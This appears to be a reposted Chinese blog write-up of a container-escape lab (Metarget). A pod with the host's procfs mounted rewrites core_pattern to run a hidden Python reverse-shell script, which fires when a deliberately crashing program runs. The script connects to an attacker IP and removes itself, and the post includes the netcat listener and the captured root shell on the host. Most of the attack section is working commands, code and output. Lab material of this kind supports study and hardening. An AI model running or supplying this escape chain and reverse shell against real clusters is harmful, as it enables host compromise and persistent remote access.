挂载宿主机Procfs系统导致容器逃逸

admin 2024年2月24日22:59:09评论7 views字数 6462阅读21分32秒阅读模式


容器逃逸--危险挂载

【背景介绍】
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
一般来说,我们不会将宿主机的procfs挂载到容器中。然而,有些业务为了实现某些特殊需要,还是会将该文件系统挂载进来。
procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式。从手册中我们能获得关于内存转储的详细信息,关键信息如下:

从2.6.19内核版本开始,Linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符是管道符|,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行

建】

  • 基础环境准备,任意版本的docker

./metarget gadget install docker --version 18.03.1./metarget gadget install k8s --version 1.16.5 --domestic
root@zyliang:~/metarget# ./metarget cnv install mount-host-procfsdocker already installedkubernetes already installedmount-host-procfs is going to be installedapplying yamls/k8s_metarget_namespace.yamlapplying vulns_cn/mounts/pods/mount-host-procfs.yamlmount-host-procfs successfully installedroot@zyliang:~/metarget# kubectl get pod -n metarget NAME                READY   STATUS    RESTARTS   AGEmount-host-procfs   1/1     Running   0          10s# 宿主机的procfs在容器内部的挂载路径是/host-procroot@zyliang:~/metarget# kubectl get pod -n metarget mount-host-procfs -o yaml | grep proc      {"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"mount-host-procfs","namespace":"metarget"},"spec":{"containers":[{"args":["while true; do sleep 30; done;"],"command":["/bin/bash","-c","--"],"image":"ubuntu:latest","imagePullPolicy":"IfNotPresent","name":"ubuntu","volumeMounts":[{"mountPath":"/host-proc","name":"host-procfs"}]}],"volumes":[{"hostPath":{"path":"/proc"},"name":"host-procfs"}]}}  name: mount-host-procfs  selfLink: /api/v1/namespaces/metarget/pods/mount-host-procfs    - mountPath: /host-proc      name: host-procfs      path: /proc    name: host-procfs

  • 进入容器

root@zyliang:~/metarget# kubectl get pod -n metarget NAME                READY   STATUS    RESTARTS   AGEmount-host-procfs   1/1     Running   0          12mroot@zyliang:~/metarget# kubectl exec -it -n metarget mount-host-procfs /bin/bashroot@mount-host-procfs:/# lsbin  boot  dev  etc  home  host-proc  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
  • 在容器中,拿到当前容器在宿主机的绝对路径

root@mount-host-procfs:/# cat /proc/mounts | grep dockeroverlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/O7P7Z5RVP2AMZNGT3ZICVUR7LK:/var/lib/docker/overlay2/l/KRI4QEH456ZEKL6ESM5TEX6YFE,upperdir=/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/diff,workdir=/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/work 0 0
  • 从workdir可以得到基础路径,当前容器在宿主机上的merged目录绝对路径:

root@zyliang:/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/merged# pwd/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/mergedroot@zyliang:/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/merged# lsbin  boot  dev  etc  home  host-proc  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  varroot@zyliang:/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/merged#

   docker镜像利用overlayfs文件系统,可参考如下:

https://www.cnblogs.com/wdliu/p/10483252.html
  • 向容器内/host-proc/sys/kernel/core_pattern内写入以下内容:

echo -e "|/var/lib/docker/overlay2/5ab7cd3e9aed6dadeabccf053b1dd6e4d523e37dc1cb9c891927b92d5e961446/merged/tmp/.x.py rcore           " > /host-proc/sys/kernel/core_pattern
  • 容器内创建一个反弹shell的/tmp/.x.py,lhost和lport为攻击者ip+port:

cat >/tmp/.x.py << EOF#!/usr/bin/pythonimport osimport ptyimport socketlhost = "10.160.35.200"lport = 10000def main():    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.connect((lhost, lport))    os.dup2(s.fileno(), 0)    os.dup2(s.fileno(), 1)    os.dup2(s.fileno(), 2)    os.putenv("HISTFILE", '/dev/null')    pty.spawn("/bin/bash")    os.remove('/tmp/.x.py')    s.close()if __name__ == "__main__":    main()EOFchmod +x /tmp/.x.py
  • 编译一个可以运行崩溃的程序,放在容器内运行

root@zyliang:~/mount# cat pro.c #include <stdio.h>int main(void){    int *a = NULL;    *a = 1;    return 0;}root@zyliang:~/mount# gcc -o crash pro.c root@zyliang:~/mount# lscrash  pro.croot@zyliang:~/mount# root@zyliang:~/mount# docker ps | grep procfs1f21b8c613d5   ba6acccedd29                  "/bin/bash -c -- 'wh…"   31 minutes ago   Up 31 minutes              k8s_ubuntu_mount-host-procfs_metarget_0c64df69-a9b3-447e-8286-879b65849696_0eaa6db463eea   k8s.gcr.io/pause:3.1          "/pause"                 31 minutes ago   Up 31 minutes              k8s_POD_mount-host-procfs_metarget_0c64df69-a9b3-447e-8286-879b65849696_0root@zyliang:~/mount# docker cp crash 1f21b8c613d5:/Successfully copied 9.73kB to 1f21b8c613d5:/
  • 攻击者监听shell端口

root@master:~# ifconfig ens160ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 10.160.35.200  netmask 255.255.255.0  broadcast 10.160.35.255        inet6 fe80::250:56ff:fead:4476  prefixlen 64  scopeid 0x20<link>        ether 00:50:56:ad:44:76  txqueuelen 1000  (Ethernet)        RX packets 35237991  bytes 4422643553 (4.4 GB)        RX errors 0  dropped 71  overruns 0  frame 0        TX packets 34973972  bytes 21075380437 (21.0 GB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0root@master:~# nc -vnl 10000Listening on [0.0.0.0] (family 0, port 10000)
  • 容器内执行crash程序

root@mount-host-procfs:/# lsbin  boot  core  crash  dev  etc  home  host-proc  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  varroot@mount-host-procfs:/# ./crash Segmentation fault (core dumped)
  • 攻击者接收到容器所在主机的反弹shell,成功逃逸

root@master:~# nc -vnl 10000Listening on [0.0.0.0] (family 0, port 10000)Connection from 10.160.36.203 53352 received!root@zyliang:/# ifconfigifconfigbr-39727c7d519e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 172.18.0.1  netmask 255.255.0.0  broadcast 172.18.255.255        inet6 fe80::42:e6ff:fe3c:bab4  prefixlen 64  scopeid 0x20<link>        ether 02:42:e6:3c:ba:b4  txqueuelen 0  (Ethernet)        RX packets 3  bytes 116 (116.0 B)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 13  bytes 1014 (1.0 KB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0cni0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1450        inet 10.244.0.1  netmask 255.255.255.0  broadcast 0.0.0.0        inet6 fe80::70ed:64ff:fe65:fcda  prefixlen 64  scopeid 0x20<link>        ether 72:ed:64:65:fc:da  txqueuelen 1000  (Ethernet)        RX packets 994245  bytes 67813573 (67.8 MB)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 1013792  bytes 299932838 (299.9 MB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255        ether 02:42:f7:00:90:09  txqueuelen 0  (Ethernet)        RX packets 0  bytes 0 (0.0 B)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 5  bytes 438 (438.0 B)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 10.160.36.203  netmask 255.255.255.0  broadcast 10.160.36.255        inet6 fe80::250:56ff:fead:54b  prefixlen 64  scopeid 0x20<link>        ether 00:50:56:ad:05:4b  txqueuelen 1000  (Ethernet)        RX packets 931617  bytes 857731156 (857.7 MB)        RX errors 0  dropped 48  overruns 0  frame 0        TX packets 628746  bytes 60162270 (60.1 MB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs

原文始发于微信公众号(zyliang):挂载宿主机Procfs系统导致容器逃逸

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月24日22:59:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   挂载宿主机Procfs系统导致容器逃逸https://cn-sec.com/archives/2254143.html

发表评论

匿名网友 填写信息